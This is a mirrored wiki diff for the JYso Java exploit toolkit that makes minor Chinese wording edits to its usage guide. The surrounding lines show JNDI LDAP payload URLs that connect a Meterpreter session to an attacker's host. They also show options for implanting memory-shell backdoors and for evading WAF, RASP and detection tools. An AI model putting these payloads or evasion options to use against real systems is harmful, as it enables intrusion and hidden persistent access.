mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 00:01:53 +08:00
Updated JYso‐CN (markdown)
+3
-3
@@ -209,7 +209,7 @@ ldap://127.0.0.1:1389/TomcatBypass/E-Meterpreter/msf/[msf_ip]/[msf_port]
|
||||
- 命令 `MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马
|
||||
|
||||
+ JNDI-Injection-Exploit 用法:
|
||||
+ shell后可以加额外参数,需要base64编码,参数具体看1.5
|
||||
+ shell后可以加额外参数,需要base64编码,参数具体看1.5
|
||||
```
|
||||
ldap://127.0.0.1:1389/[Basic or TomcatBypass]/[M-MS-MemShellClass-...]/shell/base64params
|
||||
```
|
||||
@@ -429,7 +429,7 @@ usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f
|
||||
-dt,--dirty-type <arg> 利用脏数据绕过WAF,类型:1:Random Hashable Collections/2:LinkedList Nesting/3:Serialized Data中的TC_RESET
|
||||
-f,--file <arg> 将输出写入 FileOutputStream(指定文件名)
|
||||
-g,--gadget <arg> Java deserialization gadget
|
||||
-gen,--gen-mem-shell 将内存 Shell 类写入文件
|
||||
-gen,--gen-mem-shell 将内存 Shell 类保存为class文件
|
||||
-gzk,--godzilla-key <arg> Godzilla key,default [key]
|
||||
-h,--hide-mem-shell 对检测工具隐藏内存外壳(类型2仅支持SpringControllerMS)
|
||||
-hk,--header-key <arg> MemoryShell 标头检查,请求标头密钥,默认 [Referer]
|
||||
@@ -437,7 +437,7 @@ usage: JYso-[version].jar [-ch <arg>] [-dcfp <arg>] [-dl <arg>] [-dt <arg>] [-f
|
||||
-hv,--header-value <arg> MemoryShell 标头检查,请求标头值,默认 [https://QI4L.cn/]
|
||||
-i,--inherit 是否让payload继承AbstractTranslet(低版本的JDK如1.6应该继承)
|
||||
-mcl,--mozilla-class-loader 在 TransformerUtil 中使用 org.mozilla.javascript.DefiningClassLoader
|
||||
-n,--gen-mem-shell-name <arg> 内存外壳类文件名
|
||||
-n,--gen-mem-shell-name <arg> 设置MemShell类文件名
|
||||
-ncs,--no-com-sun 强制使用 org.apache.XXX.TemplatesImpl 而不是 com.sun.org.apache.XXX.TemplatesImpl
|
||||
-o,--obscure 使用反射绕过RASP
|
||||
-p,--parameters <arg> Gadget parameters
|
||||
|
||||
Reference in New Issue
Block a user